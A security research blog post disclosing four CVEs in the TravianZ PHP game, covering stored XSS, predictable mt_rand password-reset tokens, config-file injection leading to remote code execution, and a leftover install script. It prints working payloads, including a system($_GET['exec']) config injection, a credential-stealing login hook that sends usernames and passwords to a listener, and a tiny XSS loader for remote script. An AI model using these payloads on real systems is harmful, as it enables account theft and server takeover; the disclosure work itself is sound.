TravianZ Hacked

We will explore how we can get Remote Code Execution (RCE) through cryptographic failures, XSS, etc. in an open source PHP project.

TravianZ Hacked

TravianZ is an open source clone of an older version of Travian, namely version 3.6. It has done this by stealing the front end code from the official game and then recreating their own back end in PHP. This code is over 10 years old and is riddled with security vulnerabilities. In this security research blog we will dig into the various vulnerabilities I have found.

Let's get admin!

Our first objective will be to get admin. There are 2 ways to approach this. One requires a bit of social engineering or patience, meanwhile the other one can be done without any user interaction needed. Let's discuss these 2 methods.

Admin through XSS (CVE-2023-36995)

There are quite a few endpoints where script injection is possible, these include;

  • Alliance tag/name (persistent)
  • Statistics page (reflected)
  • Link preferences (persistent, self XSS)
  • Admin Log (persistent)
  • The COOKUSR cookie (persistent, self XSS)

Alliance name is probably the most common XSS that will get triggered, because it gets triggered when people see you on the map, in the statistics page and on your user page.

The problem with this is, that while it will be easier to get an admin session cookie, the admin panel requires a second login. Meaning that if we get the admin session cookie, we need to pray that they have already logged into the admin panel.

A sneakier way where we know that when we get the cookie, they will have logged into the admin panel, is to inject the admin log with a cookie stealing script. We do this by browsing to http://localhost/Admin/admin.php and attempting to login with malicious username.

As you can see, the admin log for incorrect login attempts is vulnerable to XSS, which reminded me of the theoretical force OP exploit by LiveOverflow. This is an area which might not be immediately obvious when you are looking for XSS vulnerabilities.

Due to the lack of any Content Security Policy Header or HTTP cookie flags it is trivial to steal the cookie.


There are a few problems with XSS however, the first one is that by default user sessions get terminated after only a single hour. The second being that an admin actually has to trigger the XSS, which might not always happen on servers where the admin is inactive. Finally, as discussed previously, an admin cookie doesn't always mean they are logged into the admin panel.

Password reset vulnerability (CVE-2023-36993)

So before we get into the vulnerability, let's first figure out how password resets work.


function sendPassword($email,$uid,$username,$npw,$cpw) {

	$subject = "Password forgotten";

	$message = "Hello ".$username."

    You have requested a new password for Travian.

    Name: ".$username."
    Password: ".$npw."

    Please click this link to activate your new password. The old password then
    becomes invalid:


    If you want to change your new password, you can enter a new one in your
    profile on tab \"account\".

    In case you did not request a new password you may ignore this email.


	$headers = "From: ".ADMIN_EMAIL."\n";

	mail($email, $subject, $message, $headers);

Now we can immediately see that this is vulnerable to password reset poisoning but this again requires user interaction. And while this might work on normal users, it does not necessarily work on the admin. The default admin account "Multihunter" doesn't even have a working default email address. So therefore we will keep looking.

Let's first figure out what $npw and $cpw are. From the name of $uid we can assume it is a user id.


// user input email and submit
if(isset($_POST['email']) && isset($_POST['npw'])){
	$uid = intval($_POST['npw']);
	$email = $database->getUserField($uid, 'email', 0);
	$username = $database->getUserField($uid, 'username', 0);
	if($email != $_POST['email']){
        echo "<p>Unfortunately the entered email address does not match the one used to register the account.</p>\n";
    } else {
		// generate password and cpw
		$npw = $generator->generateRandStr(7);
		$cpw = $generator->generateRandStr(10);

        $database->addPassword($uid, $npw, $cpw);

		// send password mail
		$mailer->sendPassword($email, $uid, $username, $npw, $cpw);

		echo "<p>Password was sent to: ${_POST['email']}</p>\n";

// user click the link in 'password forgotten' email
} else if (isset($_GET['cpw']) && isset($_GET['npw'])) {
	$uid = intval($_GET['npw']);
	$cpw = preg_replace('#[^a-zA-Z0-9]#', '', $_GET['cpw']);

	if(!$database->resetPassword($uid, $cpw)){
		echo '<p>The password has not been changed. Perhaps the activation code has already been used.</p>';
		echo '<p>The password has been successfully changed.</p>';
} //else...

So $npw and $cpw are just random values. So what is going on with the resetPassword function then?


function resetPassword($uid, $cpw) {
	list($uid, $cpw) = $this->escape_input((int) $uid, $cpw);
	$q = "SELECT npw FROM `" . TB_PREFIX . "password` WHERE uid = $uid AND cpw = '$cpw' AND used = 0 LIMIT 1";
	$result = mysqli_query($this->dblink,$q);
	$dbarray = mysqli_fetch_array($result);

	if(!empty($dbarray)) {
		if(!$this->updateUserField($uid, 'password', password_hash($dbarray['npw'], PASSWORD_BCRYPT,['cost' => 12]), 1)) return false;
		$q = "UPDATE `" . TB_PREFIX . "password` SET used = 1 WHERE uid = $uid AND cpw = '$cpw' AND used = 0";
		return true;

	return false;

So as long as $npw has not yet been activated, it will set the password to $cpw.

So now how do we exploit it?

In our previous code we saw the following snippet;

// generate password and cpw
$npw = $generator->generateRandStr(7);
$cpw = $generator->generateRandStr(10);

Now how does the generateRandStr work?

public function generateRandStr($length){
  $randstr = "";
	for($i = 0; $i < $length; $i++){
		$randnum = mt_rand(0, 61);
		if($randnum < 10) $randstr .= chr($randnum + 48);
		else if($randnum < 36) $randstr .= chr($randnum + 55);
		else $randstr .= chr($randnum + 61);
	return $randstr;

When we take a look at the documentation for mt_rand we quickly see the following warning;

Caution This function does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.

So we have an insecure cryptographic algorithm being used for the password reset function, meaning that it would be theoretically possible to guess the values given we collect enough inputs. So let's turn this into a practical attack!

I started by googling for "mt_rand cracker" and "mt_rand vulnerability", which gave some interesting results. First of which is Breaking PHP's mt_rand() with 2 values and no bruteforce and the other being php_mt_seed cracker, the latter of which has the following to say;

It is able to search the full 32-bit seed space in under a minute.

Who needs complicated cryptographic vulnerabilities when you can just goes through the entire seed space in under a minute? 😁 Let's get cracking!

Cracking $npw and $cpw

After we are done compiling php_mt_seed.c we need to figure out how to use it. Luckily in the README there is a Complex usage example in which a similar problem. Turns out the format is $num $num $min $max

So first thing first, we need to untangle $npw and $cpw and turn them back into numbers. After which we need to turn them into the correct format. I've written the following PHP script to do so;

function untangle($str) {
	$nums = "";
	for($i = 0; $i < strlen($str); $i++){
		$n = ord($str[$i]);
		$x = 0;
		if($n >= 97) {
			$x = strval($n - 61);
		} else if($n >= 65) {
			$x = strval($n - 55);
		} else {
			$x = strval($n - 48);
		$nums .= $x . " " . $x . " 0 61  ";
	return $nums;

Now all we do is navigate to http://localhost/password.php?npw=9 and input our email address and send the password reset URL. (With 9 being the user id of our player.)

Now since I did not have an SMTP server set up, I just quickly checked the database for the correct values.

Great! So now let's run dkiiKRRa5nxNrNupB through the untangler function and then crack it!

So we found the seed! The seed is `1072629303`, so let's create a function to generate the next value in the pseudorandom sequence.


function generateRandStr($length) {
	$randstr = "";
	for($i = 0; $i < $length; $i++){
		$randnum = mt_rand(0, 61);
		if($randnum < 10) $randstr .= chr($randnum + 48);
		else if($randnum < 36) $randstr .= chr($randnum + 55);
		else $randstr .= chr($randnum + 61);
	return $randstr;

function getStrings($name) {
	echo("\nnpw: ");
	echo("\ncpw: ");


So we cracked the current and future npw & cpw, now let's go generate a password reset URL for the default admin account "Multihunter", which has a default email of "".

So let's go to http://localhost/password.php?npw=5 and reset the password!

Well... the npw & cpw are correct for the current user and match, but not for the future one? Why is this?

Trouble in paradise

At first I started looking where in the PHP it could possibly call the `mt_rand` function, because if it was called inbetween password resets then the sequence would no longer be correct. However I found nothing.

After a bit of googling about the `mt_rand` seed, I found the following stackoverflow post. The  article states that the seed is not retained and links the commit responsible for this change.

So let's take a look at the PHP source code. I picked version 7.4.16 because it is the version I'm running to have TravianZ working.


PHPAPI uint32_t php_mt_rand(void)
	/* Pull a 32-bit integer from the generator state
	   Every other access function simply transforms the numbers extracted here */

	register uint32_t s1;

	if (UNEXPECTED(!BG(mt_rand_is_seeded))) {
    // code...

So the seed is being set to GENERATE_SEED() on every request (unless mt_rand_is_seeded is specified, which we can do through the mt_srand() function in PHP). Let's take a look at the implementation of GENERATE_SEED.


#define GENERATE_SEED() (((zend_long) (time(0) * GetCurrentProcessId())) ^ ((zend_long) (1000000.0 * php_combined_lcg())))

Mhmm so this seed is being set to the EPOCH time in seconds, multiplied by the process ID and then XOR'd with a long integer. Let's take a look at php_combined_lcg.

lcg_value() returns a pseudo random number in the range of (0, 1).

Again, a non cryptographically secure random number generator, however this time I don't see a way to crack it easily. Since we don't have access to the process id and only the least significant 20 bits (because log2(1000000)=19.9) of it are XOR'd to the random value.

Now luckily the process id is constant throughout for as long as PHP does not get restarted. We also have access to the epoch time and since it is in seconds instead of milli- or microseconds, we should be able to just send a password reset to both the admin and the user within the same second. That way the only difference is the least significant 20 bits of the integer. I ran some tests and indeed these results seem to match up;

seed (hex)		seed (int)		time when number was generated
0x4c74ad9c		1282715036		2023-05-28 17:31:15
0x4c72706c		1282568300		2023-05-28 17:31:18

0x3fef0637		1072629303		2023-06-12 19:33:51
0x406d0e76		1080888950		2023-06-12 19:48:07
0x4c79ed36		1283058998		2023-05-28 17:49:18
0x4c7f8146		1283424582		2023-05-28 17:49:18
0x4c87ca13		1283967507		2023-05-28 18:25:03
0x4c8875a1		1284011425		2023-05-28 18:25:03
0x4c8c37c3		1284257731		2023-05-28 18:28:52
0x4c85bf35		1283833653		2023-05-28 18:28:52

Interestingly a small time difference also does not seem to matter much. However I did not gather too much data on this.

In order to send a request within the same second I've written the following the NodeJS script;

const axios = require("axios")

const url = "http://localhost/"
const pwres = "password.php?npw="
const users = [
    {id: 9, email: ""},
    {id: 5, email: ""}

// first load DNS etc.
axios.get(url).then(async () => {
    const bucket = [];
    for(let user of users) {
        bucket.push(, "npw=""&email=""&s1=ok").then(() => console.log(
    await Promise.all(bucket)

However 2 requests within a second could also be done manually by very quickly switching tabs.

A theoretical password reset attack

So now we still remain with one problem, if we only have the seed of the user, how do we know what the seed of the admin is? It might be off by positive or negative a million. This means we'd have to send 2 million requests in order to reset the admin password.

One way of optimizing it is by sending 5 password reset URLs to the user and 1 to the admin all in the same second. Then we simply take the average of those 5 seeds we received and start testing from the middle. Always going +1 and -1 per seed. Eventually we would arrive at the correct npw & cpw and we will successfully reset the admin password. If you take an average of a million requests this is quite feasible.

Let's get RCE! (CVE-2023-36992)

Now with the admin account pwned, we are able to get RCE. We do this by abusing the server config editor, which writes to config.php all the settings we specify. We will be abusing the server name property.


myFile = "../../config.php";
$fh = fopen($myFile, 'w') or die("<br/><br/><br/>Can't open file: GameEngine\config.php");

$text = file_get_contents("constant_format.tpl");
$text = preg_replace("'%SERVERNAME%'", $_POST['servername'], $text);

fwrite($fh, $text);


// *****  SERVER SETTINGS  *****//

// ***** Name

So let's set the server name to TravianZ");if(isset($_GET["exec"])){system($_GET["exec"]);}//

And now all of the sudden our config file looks like this;

// *****  SERVER SETTINGS  *****//

// ***** Name

Now the SERVER_NAME is still defined as "TravianZ" which means that in the config editor everything will still look normal.

Now we just go to http://localhost/?exec=whoami and look at the results.

✨Command execution✨

RCE Without Admin (CVE-2023-36994)

Now there is another trick to get RCE, which does not require admin access. However, this relies on a bad installation, and therefore will not always work. Luckily for us, a bad installation is the default. Let's see what happens after an installation.

So after an installation the install folder gets renamed to installed_[timestamp]. The code responsible for this is as follows;


$time = time();

So now the problem is, how do we find out when a server started? Luckily for us, the server gives us a message with the start time.

However, during the installation of TravianZ, when you visit the page of step 2, you will get the start time set. So what if the installation took a bit longer?

Well, let's take a look at the following code snippets:

$text = file_get_contents("data/constant_format.tpl");
$findReplace = [];
$findReplace["%SSTARTDATE%"] = $_POST['start_date'];
$findReplace["%SSTARTTIME%"] = $_POST['start_time'];
$findReplace["%STARTTIME%"] = time();
fwrite($gameConfig, str_replace(array_keys($findReplace), array_values($findReplace), $text));


// ***** Started
// Defines when has server started.

// ***** Server Start Date / Time


$welcomemsg = file_get_contents("GameEngine/Admin/welcome.tpl");
$welcomemsg = "[message]".preg_replace(
	["'%USER%'", "'%START%'", "'%TIME%'", "'%PLAYERS%'", "'%ALLI%'", "'%SERVER_NAME%'", "'%PROTECTION%'"],
	[$username, date("y.m.d", COMMENCE), date("H:i", COMMENCE), $database->countUser(), $database->countAlli(), SERVER_NAME, round((PROTECTION/3600))],

After you have typed in all the configuration fields, you will send a post request to install/process.php. Now in the configuration there will be 2 dates. The start time of the server which you have configured, and the time when the configuration was finished. In the Message.php code we saw that the COMMENCE variable is being sent in the welcome message, which is the time when you finished the configuration.

That means that even if the admin was on the configuration page for 10 minutes, the actual timestamp in the welcome message is set to when you finished configuring the server. After you are done configuring the server all that is left to do is to click a few buttons and set up the password for the admin account. This should not take nearly as long. Therefore now we are much closer to the actual epoch time to which the configuration got renamed to.

However, since time() is being used, the timezone is set to the server's actual timezone. In the message the timezone we get is the one configured by the server during installation. So we either have to figure out the timezone of the server, which can usually be done by checking where it is hosted, or we bruteforce it. If we were to assume the installation took a maximum of 4 minutes after the config was set, then we'd have to send requests for -1 minute to +4 minutes. This would take 300 requests * 24 (possible timezones) = 7200 GET requests.

Well now that we figured out where the install folder is located (assuming it has not yet been deleted) we are met with this error message. Let's figure out what is going on here and if we can bypass it.


if(substr(sprintf('%o', fileperms('../')), -4)<'700'){
	echo"<span class='f18 c5'>ERROR!</span><br />It's not possible to write the config file. Change the permission to '777'. After that, refresh this page!";
else if (file_exists("../var/installed")) {
	echo"<span class='f18 c5'>ERROR!</span><br />Installation appears to have been completed.<br />If this is an error remove /var/installed file in install directory.";
else switch($_GET['s']){
	case 0:
// ...
	case 5:

So we are unable to access any of the template files, there is even an .htaccess file preventing us from going to them directly. However, there are no such restrictions on install/process.php. The process file is also the one we sent a POST request to and is responsible for writing to the config file. And as we have seen before, writing to the config file is what allows us to get RCE.

However if we do write to this file, all other configuration settings will be lost, including MySQL login credentials. This will make the entire game unplayable. However if we don't care about being stealthy and only want RCE, this is definitely a viable option. Just send a POST request to install/process.php and overwrite the config file with the same technique we used before and you get ✨RCE✨.

However a lot of server admins do delete the install folder after they are done with it, which means that often times we won't be able to use this attack. But hey, how often do server admins just leave bad defaults alone? hehe

Recovering plaintext passwords (CVE-2023-36995)

The login field somehow knows our username before we ever type it out.

This is because of the COOKUSR cookie, which remembers the last username which we logged in with. The COOKUSR cookie was also noted as vulnerable to XSS previously in this blogpost. So let's see why this is the case.


<input class="text" type="text" name="user" value="<?php echo stripslashes(stripslashes(stripslashes($form->getDiff("user",$_COOKIE['COOKUSR'])))); ?>" maxlength="30" autocomplete='off' />

As we can see the COOKUSR cookie gets echo'd into the value attribute. Interestingly enough, it goes through 3 iterations of the stripslashes function which does the opposite of escaping dangerous strings.

So now we need to craft a piece of code that will steal the plaintext password. We can do this through multiple methods; changing the form target, a JavaScript keylogger, intercepting the submit and stealing the credentials before continuing, ... We will do the latter because this is the most interesting and stealthiest.

document.forms[0].onsubmit = function(e) {
	let creds = document.getElementsByName("user")[0].value + ":" + document.getElementsByName("pw")[0].value
	fetch("https://localhost:8080/?creds="+creds).finally(function() {

This piece of code will steal the credentials without the user knowing, everything will be as normal, although perhaps a bit slower. Now we need to figure out a way to inject it into the COOKUSR, let's minimize the previous script and create a payload that sets the cookie.

document.cookie = ['COOKUSR="><script>PAYLOAD</script><div x="', ...document.cookie.split(";").filter(e => !e.includes("COOKUSR"))].join(";")

Because the cookies don't have any security flags set, we can modify all of them with JavaScript. That's what we are doing now in order to leverage this self XSS to steal the credentials of the user. This is a good example of why self XSS can still be dangerous and cookie flags are important.

Now let's combine everything, we minimize the code and we put it in the exploit and everything should work.

document.cookie = ['COOKUSR="><script>document.forms[0].onsubmit=function(e){e.preventDefault()+fetch("http://localhost:8080/?creds="+document.getElementsByName("user")[0].value+":"+document.getElementsByName("pw")[0].value).finally(function(){})}</script><div x="', ...document.cookie.split(";").filter(e => !e.includes("COOKUSR"))].join(";")

Do take note of how we used e.preventDefault()+fetch(..., we need to tell JavaScript these are 2 different statements without using the semicolon, because a cookie can not contain those. We could hava also just used something along the lines of document.write(atob("base64payloadhere")) to bypass the restriction but in this case a + operator executes both statements. Thank you loose type operations.

We are now however greeted with an empty username field, but we will solve this later when we fully deploy the exploit. Let's give it a try though!

✨Plaintext passwords✨

However, if you type in an incorrect password, the incorrect password will get logged. Upon submitting the form it also no longer uses the `COOKUSR` cookie but instead the POST value of the username submitted. So this exploit only works once. This is no problem though since most people submit their correct password on the first try, and if they do not, we will have another chance after they login again.

Let's impact as many people as we can!

As was said before in the "Admin through XSS" section the alliance tag is vulnerable to XSS. However we have a problem. Alliance tags have a max length of 15... (on the client)

In the database they have a length of 100 characters. So let's set maxlength to 100 and write a little exploit.

Let's set the name to EvilCorp<script src="http://localhost:8080/evil.js"></script> and see what happens.

Awesome! We got it to work! Now let's see where else this is being used.

It's also injected in the player list, and this is a page people visit often. This means that a lot of people will start running our evil javascript!

What just happened? Why is the map messed up? Let's investigate!

Turns out the map is using a <script> tag and puts our alliance tag in directly without filtering for XSS, which ironically in this case, breaks our XSS. It breaks it in 2 ways, the first being that the " breaks the map script

Secondly the </script> tag ends the script, even if it is within quotation marks. To demonstrate this I removed the quotation marks around the src attribute.

So we need to use a different HTML tag to execute our payload. We can do this with a <img src=x onerror='payload here'> but if we put our entire payload within there we will quickly go over the 100 character limit. We therefore need a smaller payload that is able to load our full payload.

var script = document.createElement('script');
script.src = "http://localhost:8080/evil.js";

We need to find a way to minimize that script as much as possible. I came up with the following solution;

Now if we put this in an image with the onerror parameter, it an ugly image not found picture shows up everywhere the XSS is located. This is a very obvious way to get detected. Instead let's leverage the fact that Travian implemented some basic logic to prevent people from copying their images. They implemented a 1x1 invisible pixel called img/x.gif which can be found whenever you try and open an image in a new tab. We're going to be using this one to make our payload invisible.

This is the final alliance name I came up with;
a<img src=img/x.gif onload=n1.appendChild(document.createElement('script')).src='//[::1]:8080/a'>

We are leveraging a technique where ids can be directly referenced in the JavaScript. There is an element with the id n1 which we use to inject our JavaScript. This is also related to DOM Clobbering, where we use this deprecated but still supported feature to gain XSS in certain webpages. Interestingly there is another id named "ce", but this does not work. However other 2 letter ids do work fine. I'm not entirely sure why this is the case, if anyone has a clue do feel free to send me an email regarding this.

That payload is 97 characters so we still have 3 more characters to choose for our alliance tag! 😁

Now the map is no longer broken and the payload still executes. So now let's add some code to get the username and we will have the final payload we need.

(async function() {
	const res = await fetch("statistiken.php")
	const body = await res.text()
	const statsDOM = (new window.DOMParser()).parseFromString(body, "text/html")
	const username = statsDOM.getElementsByClassName("fc")[0].parentElement.children[1].children[0].innerText
	document.cookie = [`COOKUSR=${username}"><script>document.forms[0].onsubmit=function(e){e.preventDefault()+fetch("http://localhost:8080/?creds="+document.getElementsByName("user")[0].value+":"+document.getElementsByName("pw")[0].value).finally(function(){})}</script><div x="`, ...document.cookie.split(";").filter(e => !e.includes("COOKUSR"))].join(";")

Now all the credentials are belong to us!


My goal of this blog post was to show interesting vulnerabilities and techniques in order to share some interesting knowledge with everyone. This means that a lot of vulnerabilities such as CSRF, lack of security headers, lack of cookie flags, ... were not explored fully but are definitely still present! This application has been a ton of fun for me to explore.

I hope you got some real value out of this blogpost and I would love to hear your feedback either by the comment box or by email! Also feel free to click the button in the bottom right of your screen to subscribe for more blog posts 😀

CVEs & Responsible Disclosure

The following CVEs; CVE-2023-36992, CVE-2023-36993, CVE-2023-36994, CVE-2023-36995 all affect versions 8.3.4 and 8.3.3 of TravianZ. Due to the fact the maintainer is no longer active the developers told me to make this post public. I've released a patch in order to secure your instance.